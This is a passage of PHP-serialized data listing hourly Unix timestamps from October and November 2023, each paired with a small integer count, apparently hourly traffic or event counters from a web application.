i:1696849200;a:1:{i:0;i:9;}i:1696852800;a:1:{i:0;i:1;}i:1696856400;a:1:{i:0;i:9;}i:1696860000;a:1:{i:0;i:6;}i:1696863600;a:1:{i:0;i:4;}i:1696867200;a:1:{i:0;i:8;}i:1696870800;a:1:{i:0;i:3;}i:1696874400;a:1:{i:0;i:7;}i:1696878000;a:1:{i:0;i:5;}i:1696881600;a:1:{i:0;i:6;}i:1696885200;a:1:{i:0;i:2;}i:1696888800;a:1:{i:0;i:24;}i:1696892400;a:1:{i:0;i:10;}i:1696896000;a:1:{i:0;i:1;}i:1696899600;a:1:{i:0;i:15;}i:1696903200;a:1:{i:0;i:6;}i:1696906800;a:1:{i:0;i:9;}i:1696910400;a:1:{i:0;i:4;}i:1696914000;a:1:{i:0;i:7;}i:1696917600;a:1:{i:0;i:10;}i:1696921200;a:1:{i:0;i:12;}i:1696924800;a:1:{i:0;i:5;}i:1696928400;a:1:{i:0;i:6;}i:1696932000;a:1:{i:0;i:7;}i:1696935600;a:1:{i:0;i:12;}i:1696939200;a:1:{i:0;i:11;}i:1696942800;a:1:{i:0;i:5;}i:1696946400;a:1:{i:0;i:8;}i:1696950000;a:1:{i:0;i:5;}i:1696957200;a:1:{i:0;i:19;}i:1696960800;a:1:{i:0;i:5;}i:1696964400;a:1:{i:0;i:2;}i:1696968000;a:1:{i:0;i:7;}i:1696975200;a:1:{i:0;i:8;}i:1696978800;a:1:{i:0;i:10;}i:1696993200;a:1:{i:0;i:12;}i:1697000400;a:1:{i:0;i:8;}i:1697004000;a:1:{i:0;i:2;}i:1697007600;a:1:{i:0;i:3;}i:1697011200;a:1:{i:0;i:5;}i:1697018400;a:1:{i:0;i:11;}i:1697022000;a:1:{i:0;i:4;}i:1697025600;a:1:{i:0;i:6;}i:1697029200;a:1:{i:0;i:13;}i:1697032800;a:1:{i:0;i:2;}i:1697036400;a:1:{i:0;i:13;}i:1697040000;a:1:{i:0;i:3;}i:1697043600;a:1:{i:0;i:1;}i:1697047200;a:1:{i:0;i:3;}i:1697050800;a:1:{i:0;i:5;}i:1697054400;a:1:{i:0;i:4;}i:1697058000;a:1:{i:0;i:2;}i:1697061600;a:1:{i:0;i:1;}i:1697065200;a:1:{i:0;i:7;}i:1697068800;a:1:{i:0;i:4;}i:1697072400;a:1:{i:0;i:12;}i:1697076000;a:1:{i:0;i:12;}i:1697079600;a:1:{i:0;i:1;}i:1697086800;a:1:{i:0;i:3;}i:1697090400;a:1:{i:0;i:1;}i:1697094000;a:1:{i:0;i:2;}i:1697097600;a:1:{i:0;i:1;}i:1697101200;a:1:{i:0;i:9;}i:1697104800;a:1:{i:0;i:3;}i:1697108400;a:1:{i:0;i:4;}i:1697112000;a:1:{i:0;i:3;}i:1697115600;a:1:{i:0;i:2;}i:1697122800;a:1:{i:0;i:8;}i:1697126400;a:1:{i:0;i:12;}i:1697130000;a:1:{i:0;i:11;}i:1697133600;a:1:{i:0;i:4;}i:1697137200;a:1:{i:0;i:20;}i:1697140800;a:1:{i:0;i:3;}i:1697148000;a:1:{i:0;i:17;}i:1697151600;a:1:{i:0;i:2;}i:1697155200;a:1:{i:0;i:2;}i:1697158800;a:1:{i:0;i:14;}i:1697162400;a:1:{i:0;i:13;}i:1697166000;a:1:{i:0;i:19;}i:1697169600;a:1:{i:0;i:7;}i:1697173200;a:1:{i:0;i:33;}i:1697176800;a:1:{i:0;i:13;}i:1697180400;a:1:{i:0;i:12;}i:1697184000;a:1:{i:0;i:4;}i:1697187600;a:1:{i:0;i:5;}i:1697191200;a:1:{i:0;i:14;}i:1697194800;a:1:{i:0;i:4;}i:1697198400;a:1:{i:0;i:4;}i:1697202000;a:1:{i:0;i:10;}i:1697205600;a:1:{i:0;i:13;}i:1697209200;a:1:{i:0;i:6;}i:1697212800;a:1:{i:0;i:3;}i:1697216400;a:1:{i:0;i:13;}i:1697220000;a:1:{i:0;i:8;}i:1697223600;a:1:{i:0;i:9;}i:1697227200;a:1:{i:0;i:11;}i:1697230800;a:1:{i:0;i:11;}i:1697234400;a:1:{i:0;i:24;}i:1697238000;a:1:{i:0;i:5;}i:1697241600;a:1:{i:0;i:14;}i:1697245200;a:1:{i:0;i:7;}i:1697248800;a:1:{i:0;i:3;}i:1697252400;a:1:{i:0;i:15;}i:1697256000;a:1:{i:0;i:2;}i:1697259600;a:1:{i:0;i:4;}i:1697263200;a:1:{i:0;i:14;}i:1697266800;a:1:{i:0;i:2;}i:1697270400;a:1:{i:0;i:2;}i:1697274000;a:1:{i:0;i:10;}i:1697277600;a:1:{i:0;i:17;}i:1697281200;a:1:{i:0;i:11;}i:1697284800;a:1:{i:0;i:20;}i:1697288400;a:1:{i:0;i:6;}i:1697292000;a:1:{i:0;i:19;}i:1697295600;a:1:{i:0;i:7;}i:1697299200;a:1:{i:0;i:11;}i:1697302800;a:1:{i:0;i:11;}i:1697306400;a:1:{i:0;i:5;}i:1697310000;a:1:{i:0;i:4;}i:1697313600;a:1:{i:0;i:9;}i:1697317200;a:1:{i:0;i:10;}i:1697320800;a:1:{i:0;i:13;}i:1697324400;a:1:{i:0;i:13;}i:1697328000;a:1:{i:0;i:28;}i:1697331600;a:1:{i:0;i:10;}i:1697335200;a:1:{i:0;i:13;}i:1697338800;a:1:{i:0;i:6;}i:1697342400;a:1:{i:0;i:5;}i:1697346000;a:1:{i:0;i:10;}i:1697349600;a:1:{i:0;i:14;}i:1697353200;a:1:{i:0;i:11;}i:1697356800;a:1:{i:0;i:14;}i:1697360400;a:1:{i:0;i:6;}i:1697364000;a:1:{i:0;i:8;}i:1697367600;a:1:{i:0;i:28;}i:1697371200;a:1:{i:0;i:3;}i:1697374800;a:1:{i:0;i:8;}i:1697378400;a:1:{i:0;i:1;}i:1697382000;a:1:{i:0;i:1;}i:1697385600;a:1:{i:0;i:2;}i:1697389200;a:1:{i:0;i:2;}i:1697392800;a:1:{i:0;i:11;}i:1697396400;a:1:{i:0;i:5;}i:1697400000;a:1:{i:0;i:2;}i:1697403600;a:1:{i:0;i:3;}i:1697407200;a:1:{i:0;i:27;}i:1697410800;a:1:{i:0;i:4;}i:1697414400;a:1:{i:0;i:8;}i:1697418000;a:1:{i:0;i:5;}i:1697421600;a:1:{i:0;i:3;}i:1697425200;a:1:{i:0;i:4;}i:1697428800;a:1:{i:0;i:2;}i:1697432400;a:1:{i:0;i:5;}i:1697436000;a:1:{i:0;i:3;}i:1697439600;a:1:{i:0;i:4;}i:1697443200;a:1:{i:0;i:7;}i:1697446800;a:1:{i:0;i:4;}i:1697454000;a:1:{i:0;i:7;}i:1697457600;a:1:{i:0;i:6;}i:1697461200;a:1:{i:0;i:2;}i:1697464800;a:1:{i:0;i:13;}i:1697468400;a:1:{i:0;i:12;}i:1697472000;a:1:{i:0;i:5;}i:1697475600;a:1:{i:0;i:3;}i:1697479200;a:1:{i:0;i:10;}i:1697482800;a:1:{i:0;i:5;}i:1697486400;a:1:{i:0;i:13;}i:1697490000;a:1:{i:0;i:6;}i:1697493600;a:1:{i:0;i:7;}i:1697497200;a:1:{i:0;i:7;}i:1697500800;a:1:{i:0;i:13;}i:1697504400;a:1:{i:0;i:7;}i:1697508000;a:1:{i:0;i:7;}i:1697511600;a:1:{i:0;i:5;}i:1697515200;a:1:{i:0;i:14;}i:1697518800;a:1:{i:0;i:12;}i:1697522400;a:1:{i:0;i:9;}i:1697526000;a:1:{i:0;i:11;}i:1697529600;a:1:{i:0;i:5;}i:1697533200;a:1:{i:0;i:8;}i:1697536800;a:1:{i:0;i:14;}i:1697540400;a:1:{i:0;i:7;}i:1697544000;a:1:{i:0;i:7;}i:1697547600;a:1:{i:0;i:4;}i:1697551200;a:1:{i:0;i:6;}i:1697554800;a:1:{i:0;i:5;}i:1697558400;a:1:{i:0;i:8;}i:1697562000;a:1:{i:0;i:5;}i:1697565600;a:1:{i:0;i:3;}i:1697569200;a:1:{i:0;i:5;}i:1697572800;a:1:{i:0;i:4;}i:1697576400;a:1:{i:0;i:9;}i:1697580000;a:1:{i:0;i:7;}i:1697583600;a:1:{i:0;i:6;}i:1697587200;a:1:{i:0;i:1;}i:1697590800;a:1:{i:0;i:6;}i:1697594400;a:1:{i:0;i:4;}i:1697598000;a:1:{i:0;i:3;}i:1697601600;a:1:{i:0;i:3;}i:1697605200;a:1:{i:0;i:5;}i:1697608800;a:1:{i:0;i:6;}i:1697612400;a:1:{i:0;i:2;}i:1697616000;a:1:{i:0;i:6;}i:1697623200;a:1:{i:0;i:7;}i:1697630400;a:1:{i:0;i:2;}i:1697634000;a:1:{i:0;i:4;}i:1697637600;a:1:{i:0;i:2;}i:1697641200;a:1:{i:0;i:1;}i:1697644800;a:1:{i:0;i:3;}i:1697648400;a:1:{i:0;i:5;}i:1697652000;a:1:{i:0;i:2;}i:1697655600;a:1:{i:0;i:4;}i:1697659200;a:1:{i:0;i:4;}i:1697666400;a:1:{i:0;i:2;}i:1697670000;a:1:{i:0;i:3;}i:1697673600;a:1:{i:0;i:6;}i:1697677200;a:1:{i:0;i:1;}i:1697680800;a:1:{i:0;i:8;}i:1697684400;a:1:{i:0;i:5;}i:1697688000;a:1:{i:0;i:2;}i:1697691600;a:1:{i:0;i:6;}i:1697695200;a:1:{i:0;i:1;}i:1697698800;a:1:{i:0;i:7;}i:1697702400;a:1:{i:0;i:3;}i:1697706000;a:1:{i:0;i:7;}i:1697709600;a:1:{i:0;i:3;}i:1697713200;a:1:{i:0;i:8;}i:1697716800;a:1:{i:0;i:5;}i:1697720400;a:1:{i:0;i:4;}i:1697724000;a:1:{i:0;i:12;}i:1697727600;a:1:{i:0;i:10;}i:1697731200;a:1:{i:0;i:12;}i:1697734800;a:1:{i:0;i:15;}i:1697738400;a:1:{i:0;i:16;}i:1697742000;a:1:{i:0;i:14;}i:1697745600;a:1:{i:0;i:6;}i:1697749200;a:1:{i:0;i:2;}i:1697752800;a:1:{i:0;i:4;}i:1697756400;a:1:{i:0;i:3;}i:1697760000;a:1:{i:0;i:2;}i:1697763600;a:1:{i:0;i:4;}i:1697767200;a:1:{i:0;i:2;}i:1697770800;a:1:{i:0;i:3;}i:1697774400;a:1:{i:0;i:5;}i:1697778000;a:1:{i:0;i:11;}i:1697781600;a:1:{i:0;i:9;}i:1697785200;a:1:{i:0;i:6;}i:1697788800;a:1:{i:0;i:12;}i:1697792400;a:1:{i:0;i:11;}i:1697796000;a:1:{i:0;i:7;}i:1697799600;a:1:{i:0;i:11;}i:1697803200;a:1:{i:0;i:5;}i:1697806800;a:1:{i:0;i:5;}i:1697810400;a:1:{i:0;i:1;}i:1697814000;a:1:{i:0;i:1;}i:1697817600;a:1:{i:0;i:4;}i:1697821200;a:1:{i:0;i:1;}i:1697824800;a:1:{i:0;i:1;}i:1697828400;a:1:{i:0;i:6;}i:1697835600;a:1:{i:0;i:1;}i:1697842800;a:1:{i:0;i:4;}i:1697853600;a:1:{i:0;i:2;}i:1697857200;a:1:{i:0;i:4;}i:1697860800;a:1:{i:0;i:2;}i:1697864400;a:1:{i:0;i:2;}i:1697868000;a:1:{i:0;i:5;}i:1697871600;a:1:{i:0;i:3;}i:1697875200;a:1:{i:0;i:2;}i:1697878800;a:1:{i:0;i:2;}i:1697882400;a:1:{i:0;i:4;}i:1697886000;a:1:{i:0;i:3;}i:1697889600;a:1:{i:0;i:3;}i:1697893200;a:1:{i:0;i:2;}i:1697896800;a:1:{i:0;i:5;}i:1697904000;a:1:{i:0;i:3;}i:1697911200;a:1:{i:0;i:1;}i:1697918400;a:1:{i:0;i:1;}i:1697925600;a:1:{i:0;i:1;}i:1697932800;a:1:{i:0;i:2;}i:1697936400;a:1:{i:0;i:1;}i:1697940000;a:1:{i:0;i:3;}i:1697943600;a:1:{i:0;i:2;}i:1697947200;a:1:{i:0;i:1;}i:1697950800;a:1:{i:0;i:1;}i:1697954400;a:1:{i:0;i:2;}i:1697958000;a:1:{i:0;i:1;}i:1697961600;a:1:{i:0;i:1;}i:1697968800;a:1:{i:0;i:1;}i:1697976000;a:1:{i:0;i:1;}i:1697979600;a:1:{i:0;i:1;}i:1697983200;a:1:{i:0;i:1;}i:1697986800;a:1:{i:0;i:1;}i:1697990400;a:1:{i:0;i:2;}i:1697994000;a:1:{i:0;i:2;}i:1697997600;a:1:{i:0;i:3;}i:1698001200;a:1:{i:0;i:3;}i:1698004800;a:1:{i:0;i:1;}i:1698008400;a:1:{i:0;i:1;}i:1698012000;a:1:{i:0;i:1;}i:1698015600;a:1:{i:0;i:1;}i:1698019200;a:1:{i:0;i:3;}i:1698022800;a:1:{i:0;i:3;}i:1698026400;a:1:{i:0;i:3;}i:1698030000;a:1:{i:0;i:2;}i:1698033600;a:1:{i:0;i:4;}i:1698037200;a:1:{i:0;i:5;}i:1698040800;a:1:{i:0;i:5;}i:1698044400;a:1:{i:0;i:8;}i:1698048000;a:1:{i:0;i:7;}i:1698051600;a:1:{i:0;i:5;}i:1698055200;a:1:{i:0;i:2;}i:1698058800;a:1:{i:0;i:3;}i:1698062400;a:1:{i:0;i:2;}i:1698066000;a:1:{i:0;i:3;}i:1698069600;a:1:{i:0;i:1;}i:1698073200;a:1:{i:0;i:2;}i:1698076800;a:1:{i:0;i:2;}i:1698080400;a:1:{i:0;i:3;}i:1698084000;a:1:{i:0;i:1;}i:1698087600;a:1:{i:0;i:1;}i:1698091200;a:1:{i:0;i:3;}i:1698098400;a:1:{i:0;i:5;}i:1698102000;a:1:{i:0;i:3;}i:1698105600;a:1:{i:0;i:1;}i:1698109200;a:1:{i:0;i:1;}i:1698112800;a:1:{i:0;i:2;}i:1698116400;a:1:{i:0;i:1;}i:1698120000;a:1:{i:0;i:1;}i:1698123600;a:1:{i:0;i:7;}i:1698127200;a:1:{i:0;i:1;}i:1698130800;a:1:{i:0;i:2;}i:1698134400;a:1:{i:0;i:2;}i:1698138000;a:1:{i:0;i:1;}i:1698141600;a:1:{i:0;i:2;}i:1698145200;a:1:{i:0;i:6;}i:1698148800;a:1:{i:0;i:2;}i:1698152400;a:1:{i:0;i:3;}i:1698156000;a:1:{i:0;i:1;}i:1698159600;a:1:{i:0;i:1;}i:1698163200;a:1:{i:0;i:1;}i:1698170400;a:1:{i:0;i:4;}i:1698174000;a:1:{i:0;i:2;}i:1698177600;a:1:{i:0;i:1;}i:1698184800;a:1:{i:0;i:1;}i:1698192000;a:1:{i:0;i:1;}i:1698195600;a:1:{i:0;i:5;}i:1698199200;a:1:{i:0;i:2;}i:1698202800;a:1:{i:0;i:1;}i:1698206400;a:1:{i:0;i:1;}i:1698210000;a:1:{i:0;i:5;}i:1698213600;a:1:{i:0;i:1;}i:1698217200;a:1:{i:0;i:4;}i:1698220800;a:1:{i:0;i:1;}i:1698224400;a:1:{i:0;i:1;}i:1698228000;a:1:{i:0;i:1;}i:1698235200;a:1:{i:0;i:1;}i:1698238800;a:1:{i:0;i:1;}i:1698242400;a:1:{i:0;i:3;}i:1698246000;a:1:{i:0;i:1;}i:1698249600;a:1:{i:0;i:2;}i:1698256800;a:1:{i:0;i:8;}i:1698260400;a:1:{i:0;i:1;}i:1698264000;a:1:{i:0;i:4;}i:1698267600;a:1:{i:0;i:6;}i:1698271200;a:1:{i:0;i:3;}i:1698274800;a:1:{i:0;i:2;}i:1698282000;a:1:{i:0;i:2;}i:1698285600;a:1:{i:0;i:2;}i:1698289200;a:1:{i:0;i:3;}i:1698292800;a:1:{i:0;i:2;}i:1698296400;a:1:{i:0;i:3;}i:1698303600;a:1:{i:0;i:4;}i:1698307200;a:1:{i:0;i:1;}i:1698310800;a:1:{i:0;i:6;}i:1698314400;a:1:{i:0;i:5;}i:1698321600;a:1:{i:0;i:4;}i:1698325200;a:1:{i:0;i:3;}i:1698328800;a:1:{i:0;i:3;}i:1698332400;a:1:{i:0;i:6;}i:1698336000;a:1:{i:0;i:1;}i:1698339600;a:1:{i:0;i:4;}i:1698343200;a:1:{i:0;i:4;}i:1698346800;a:1:{i:0;i:1;}i:1698350400;a:1:{i:0;i:4;}i:1698354000;a:1:{i:0;i:1;}i:1698361200;a:1:{i:0;i:3;}i:1698364800;a:1:{i:0;i:6;}i:1698368400;a:1:{i:0;i:1;}i:1698372000;a:1:{i:0;i:8;}i:1698379200;a:1:{i:0;i:8;}i:1698382800;a:1:{i:0;i:8;}i:1698386400;a:1:{i:0;i:16;}i:1698390000;a:1:{i:0;i:10;}i:1698393600;a:1:{i:0;i:7;}i:1698397200;a:1:{i:0;i:9;}i:1698400800;a:1:{i:0;i:2;}i:1698404400;a:1:{i:0;i:11;}i:1698408000;a:1:{i:0;i:2;}i:1698411600;a:1:{i:0;i:3;}i:1698415200;a:1:{i:0;i:13;}i:1698418800;a:1:{i:0;i:6;}i:1698422400;a:1:{i:0;i:10;}i:1698426000;a:1:{i:0;i:8;}i:1698429600;a:1:{i:0;i:4;}i:1698433200;a:1:{i:0;i:7;}i:1698436800;a:1:{i:0;i:12;}i:1698440400;a:1:{i:0;i:6;}i:1698444000;a:1:{i:0;i:4;}i:1698447600;a:1:{i:0;i:6;}i:1698451200;a:1:{i:0;i:4;}i:1698454800;a:1:{i:0;i:3;}i:1698458400;a:1:{i:0;i:5;}i:1698462000;a:1:{i:0;i:3;}i:1698465600;a:1:{i:0;i:7;}i:1698469200;a:1:{i:0;i:2;}i:1698472800;a:1:{i:0;i:14;}i:1698476400;a:1:{i:0;i:13;}i:1698480000;a:1:{i:0;i:15;}i:1698483600;a:1:{i:0;i:11;}i:1698487200;a:1:{i:0;i:22;}i:1698490800;a:1:{i:0;i:13;}i:1698494400;a:1:{i:0;i:13;}i:1698498000;a:1:{i:0;i:11;}i:1698501600;a:1:{i:0;i:7;}i:1698505200;a:1:{i:0;i:8;}i:1698508800;a:1:{i:0;i:10;}i:1698512400;a:1:{i:0;i:11;}i:1698516000;a:1:{i:0;i:9;}i:1698519600;a:1:{i:0;i:8;}i:1698523200;a:1:{i:0;i:10;}i:1698526800;a:1:{i:0;i:11;}i:1698530400;a:1:{i:0;i:8;}i:1698534000;a:1:{i:0;i:11;}i:1698537600;a:1:{i:0;i:12;}i:1698541200;a:1:{i:0;i:12;}i:1698544800;a:1:{i:0;i:8;}i:1698548400;a:1:{i:0;i:7;}i:1698552000;a:1:{i:0;i:5;}i:1698555600;a:1:{i:0;i:11;}i:1698559200;a:1:{i:0;i:16;}i:1698562800;a:1:{i:0;i:15;}i:1698566400;a:1:{i:0;i:16;}i:1698570000;a:1:{i:0;i:12;}i:1698573600;a:1:{i:0;i:16;}i:1698577200;a:1:{i:0;i:13;}i:1698580800;a:1:{i:0;i:11;}i:1698584400;a:1:{i:0;i:7;}i:1698588000;a:1:{i:0;i:14;}i:1698591600;a:1:{i:0;i:6;}i:1698595200;a:1:{i:0;i:18;}i:1698598800;a:1:{i:0;i:1;}i:1698602400;a:1:{i:0;i:11;}i:1698606000;a:1:{i:0;i:6;}i:1698609600;a:1:{i:0;i:8;}i:1698613200;a:1:{i:0;i:7;}i:1698616800;a:1:{i:0;i:4;}i:1698620400;a:1:{i:0;i:4;}i:1698624000;a:1:{i:0;i:4;}i:1698627600;a:1:{i:0;i:5;}i:1698631200;a:1:{i:0;i:6;}i:1698634800;a:1:{i:0;i:10;}i:1698638400;a:1:{i:0;i:7;}i:1698642000;a:1:{i:0;i:2;}i:1698645600;a:1:{i:0;i:3;}i:1698649200;a:1:{i:0;i:2;}i:1698652800;a:1:{i:0;i:3;}i:1698656400;a:1:{i:0;i:5;}i:1698660000;a:1:{i:0;i:8;}i:1698663600;a:1:{i:0;i:6;}i:1698667200;a:1:{i:0;i:5;}i:1698670800;a:1:{i:0;i:3;}i:1698674400;a:1:{i:0;i:9;}i:1698678000;a:1:{i:0;i:7;}i:1698681600;a:1:{i:0;i:6;}i:1698685200;a:1:{i:0;i:4;}i:1698688800;a:1:{i:0;i:5;}i:1698692400;a:1:{i:0;i:8;}i:1698696000;a:1:{i:0;i:6;}i:1698699600;a:1:{i:0;i:8;}i:1698703200;a:1:{i:0;i:6;}i:1698706800;a:1:{i:0;i:3;}i:1698710400;a:1:{i:0;i:4;}i:1698714000;a:1:{i:0;i:9;}i:1698717600;a:1:{i:0;i:8;}i:1698721200;a:1:{i:0;i:17;}i:1698724800;a:1:{i:0;i:17;}i:1698728400;a:1:{i:0;i:9;}i:1698732000;a:1:{i:0;i:9;}i:1698735600;a:1:{i:0;i:7;}i:1698739200;a:1:{i:0;i:7;}i:1698742800;a:1:{i:0;i:8;}i:1698746400;a:1:{i:0;i:14;}i:1698750000;a:1:{i:0;i:4;}i:1698753600;a:1:{i:0;i:14;}i:1698757200;a:1:{i:0;i:7;}i:1698760800;a:1:{i:0;i:4;}i:1698764400;a:1:{i:0;i:8;}i:1698768000;a:1:{i:0;i:7;}i:1698771600;a:1:{i:0;i:11;}i:1698775200;a:1:{i:0;i:7;}i:1698778800;a:1:{i:0;i:1;}i:1698782400;a:1:{i:0;i:7;}i:1698786000;a:1:{i:0;i:5;}i:1698789600;a:1:{i:0;i:7;}i:1698793200;a:1:{i:0;i:6;}i:1698796800;a:1:{i:0;i:6;}i:1698800400;a:1:{i:0;i:3;}i:1698804000;a:1:{i:0;i:3;}i:1698807600;a:1:{i:0;i:20;}i:1698811200;a:1:{i:0;i:16;}i:1698814800;a:1:{i:0;i:5;}i:1698818400;a:1:{i:0;i:5;}i:1698822000;a:1:{i:0;i:14;}i:1698825600;a:1:{i:0;i:5;}i:1698829200;a:1:{i:0;i:10;}i:1698832800;a:1:{i:0;i:7;}i:1698836400;a:1:{i:0;i:4;}i:1698840000;a:1:{i:0;i:4;}i:1698843600;a:1:{i:0;i:8;}i:1698847200;a:1:{i:0;i:3;}i:1698854400;a:1:{i:0;i:7;}i:1698858000;a:1:{i:0;i:2;}i:1698861600;a:1:{i:0;i:7;}i:1698865200;a:1:{i:0;i:2;}i:1698868800;a:1:{i:0;i:1;}i:1698872400;a:1:{i:0;i:2;}i:1698876000;a:1:{i:0;i:3;}i:1698879600;a:1:{i:0;i:2;}i:1698886800;a:1:{i:0;i:4;}i:1698890400;a:1:{i:0;i:9;}i:1698894000;a:1:{i:0;i:7;}i:1698897600;a:1:{i:0;i:8;}i:1698901200;a:1:{i:0;i:11;}i:1698904800;a:1:{i:0;i:11;}i:1698908400;a:1:{i:0;i:8;}i:1698912000;a:1:{i:0;i:4;}i:1698915600;a:1:{i:0;i:5;}i:1698919200;a:1:{i:0;i:6;}i:1698922800;a:1:{i:0;i:8;}i:1698926400;a:1:{i:0;i:7;}i:1698930000;a:1:{i:0;i:2;}i:1698948000;a:1:{i:0;i:1;}i:1698951600;a:1:{i:0;i:1;}i:1698958800;a:1:{i:0;i:2;}i:1698962400;a:1:{i:0;i:1;}i:1698973200;a:1:{i:0;i:2;}i:1698980400;a:1:{i:0;i:1;}i:1698991200;a:1:{i:0;i:2;}i:1698994800;a:1:{i:0;i:2;}i:1698998400;a:1:{i:0;i:1;}i:1699002000;a:1:{i:0;i:1;}i:1699009200;a:1:{i:0;i:2;}i:1699012800;a:1:{i:0;i:3;}i:1699020000;a:1:{i:0;i:2;}i:1699023600;a:1:{i:0;i:3;}i:1699027200;a:1:{i:0;i:3;}i:1699030800;a:1:{i:0;i:1;}i:1699038000;a:1:{i:0;i:4;}i:1699045200;a:1:{i:0;i:4;}i:1699052400;a:1:{i:0;i:2;}i:1699056000;a:1:{i:0;i:2;}i:1699059600;a:1:{i:0;i:2;}i:1699063200;a:1:{i:0;i:5;}i:1699066800;a:1:{i:0;i:6;}i:1699070400;a:1:{i:0;i:7;}i:1699074000;a:1:{i:0;i:6;}i:1699077600;a:1:{i:0;i:4;}i:1699081200;a:1:{i:0;i:4;}i:1699084800;a:1:{i:0;i:20;}i:1699088400;a:1:{i:0;i:8;}i:1699092000;a:1:{i:0;i:16;}i:1699095600;a:1:{i:0;i:15;}i:1699099200;a:1:{i:0;i:3;}i:1699102800;a:1:{i:0;i:3;}i:1699106400;a:1:{i:0;i:10;}i:1699110000;a:1:{i:0;i:3;}i:1699113600;a:1:{i:0;i:1;}i:1699117200;a:1:{i:0;i:9;}i:1699124400;a:1:{i:0;i:6;}i:1699128000;a:1:{i:0;i:1;}i:1699135200;a:1:{i:0;i:12;}i:1699142400;a:1:{i:0;i:1;}i:1699146000;a:1:{i:0;i:13;}i:1699149600;a:1:{i:0;i:8;}i:1699153200;a:1:{i:0;i:13;}i:1699156800;a:1:{i:0;i:8;}i:1699160400;a:1:{i:0;i:18;}i:1699164000;a:1:{i:0;i:9;}i:1699167600;a:1:{i:0;i:8;}i:1699171200;a:1:{i:0;i:9;}i:1699174800;a:1:{i:0;i:3;}i:1699178400;a:1:{i:0;i:10;}i:1699182000;a:1:{i:0;i:6;}i:1699185600;a:1:{i:0;i:1;}i:1699189200;a:1:{i:0;i:4;}i:1699192800;a:1:{i:0;i:7;}i:1699196400;a:1:{i:0;i:2;}i:1699200000;a:1:{i:0;i:17;}i:1699203600;a:1:{i:0;i:2;}i:1699207200;a:1:{i:0;i:1;}i:1699214400;a:1:{i:0;i:1;}i:1699225200;a:1:{i:0;i:3;}i:1699228800;a:1:{i:0;i:1;}i:1699232400;a:1:{i:0;i:12;}i:1699239600;a:1:{i:0;i:9;}i:1699243200;a:1:{i:0;i:5;}i:1699246800;a:1:{i:0;i:1;}i:1699250400;a:1:{i:0;i:2;}i:1699257600;a:1:{i:0;i:3;}i:1699261200;a:1:{i:0;i:1;}i:1699264800;a:1:{i:0;i:10;}i:1699268400;a:1:{i:0;i:1;}i:1699272000;a:1:{i:0;i:1;}i:1699275600;a:1:{i:0;i:2;}i:1699279200;a:1:{i:0;i:18;}i:1699282800;a:1:{i:0;i:2;}i:1699286400;a:1:{i:0;i:8;}i:1699290000;a:1:{i:0;i:2;}i:1699293600;a:1:{i:0;i:2;}i:1699297200;a:1:{i:0;i:6;}i:1699300800;a:1:{i:0;i:2;}i:1699304400;a:1:{i:0;i:13;}i:1699308000;a:1:{i:0;i:1;}i:1699311600;a:1:{i:0;i:7;}i:1699315200;a:1:{i:0;i:1;}i:1699318800;a:1:{i:0;i:12;}i:1699322400;a:1:{i:0;i:8;}i:1699326000;a:1:{i:0;i:15;}i:1699329600;a:1:{i:0;i:11;}i:1699333200;a:1:{i:0;i:26;}i:1699336800;a:1:{i:0;i:8;}i:1699340400;a:1:{i:0;i:15;}i:1699344000;a:1:{i:0;i:10;}i:1699347600;a:1:{i:0;i:13;}i:1699351200;a:1:{i:0;i:16;}i:1699354800;a:1:{i:0;i:13;}i:1699358400;a:1:{i:0;i:8;}i:1699362000;a:1:{i:0;i:20;}i:1699365600;a:1:{i:0;i:20;}i:1699369200;a:1:{i:0;i:11;}i:1699372800;a:1:{i:0;i:5;}i:1699376400;a:1:{i:0;i:4;}i:1699380000;a:1:{i:0;i:14;}i:1699383600;a:1:{i:0;i:5;}i:1699387200;a:1:{i:0;i:17;}i:1699390800;a:1:{i:0;i:6;}i:1699394400;a:1:{i:0;i:15;}i:1699398000;a:1:{i:0;i:5;}i:1699401600;a:1:{i:0;i:13;}i:1699405200;a:1:{i:0;i:10;}i:1699408800;a:1:{i:0;i:5;}i:1699412400;a:1:{i:0;i:22;}i:1699416000;a:1:{i:0;i:10;}i:1699419600;a:1:{i:0;i:12;}i:1699423200;a:1:{i:0;i:25;}i:1699426800;a:1:{i:0;i:19;}i:1699430400;a:1:{i:0;i:29;}i:1699434000;a:1:{i:0;i:14;}i:1699437600;a:1:{i:0;i:13;}i:1699441200;a:1:{i:0;i:6;}i:1699444800;a:1:{i:0;i:21;}i:1699448400;a:1:{i:0;i:9;}i:1699452000;a:1:{i:0;i:4;}i:1699455600;a:1:{i:0;i:4;}i:1699459200;a:1:{i:0;i:7;}i:1699462800;a:1:{i:0;i:10;}i:1699466400;a:1:{i:0;i:9;}i:1699470000;a:1:{i:0;i:3;}i:1699473600;a:1:{i:0;i:13;}i:1699477200;a:1:{i:0;i:7;}i:1699480800;a:1:{i:0;i:12;}i:1699484400;a:1:{i:0;i:6;}i:1699488000;a:1:{i:0;i:10;}i:1699491600;a:1:{i:0;i:25;}i:1699495200;a:1:{i:0;i:6;}i:1699498800;a:1:{i:0;i:6;}i:1699502400;a:1:{i:0;i:22;}i:1699506000;a:1:{i:0;i:7;}i:1699509600;a:1:{i:0;i:20;}i:1699513200;a:1:{i:0;i:6;}i:1699516800;a:1:{i:0;i:18;}i:1699520400;a:1:{i:0;i:5;}i:1699524000;a:1:{i:0;i:7;}i:1699527600;a:1:{i:0;i:17;}i:1699531200;a:1:{i:0;i:7;}i:1699534800;a:1:{i:0;i:23;}i:1699538400;a:1:{i:0;i:9;}i:1699542000;a:1:{i:0;i:20;}i:1699545600;a:1:{i:0;i:4;}i:1699549200;a:1:{i:0;i:8;}i:1699552800;a:1:{i:0;i:9;}i:1699556400;a:1:{i:0;i:17;}i:1699560000;a:1:{i:0;i:16;}i:1699563600;a:1:{i:0;i:15;}i:1699567200;a:1:{i:0;i:19;}i:1699570800;a:1:{i:0;i:6;}i:1699574400;a:1:{i:0;i:18;}i:1699578000;a:1:{i:0;i:4;}i:1699581600;a:1:{i:0;i:6;}i:1699585200;a:1:{i:0;i:15;}i:1699588800;a:1:{i:0;i:14;}i:1699592400;a:1:{i:0;i:9;}i:1699596000;a:1:{i:0;i:14;}i:1699599600;a:1:{i:0;i:22;}i:1699603200;a:1:{i:0;i:7;}i:1699606800;a:1:{i:0;i:18;}i:1699610400;a:1:{i:0;i:8;}i:1699614000;a:1:{i:0;i:7;}i:1699617600;a:1:{i:0;i:9;}i:1699621200;a:1:{i:0;i:6;}i:1699624800;a:1:{i:0;i:8;}i:1699628400;a:1:{i:0;i:5;}i:1699632000;a:1:{i:0;i:9;}i:1699635600;a:1:{i:0;i:15;}i:1699639200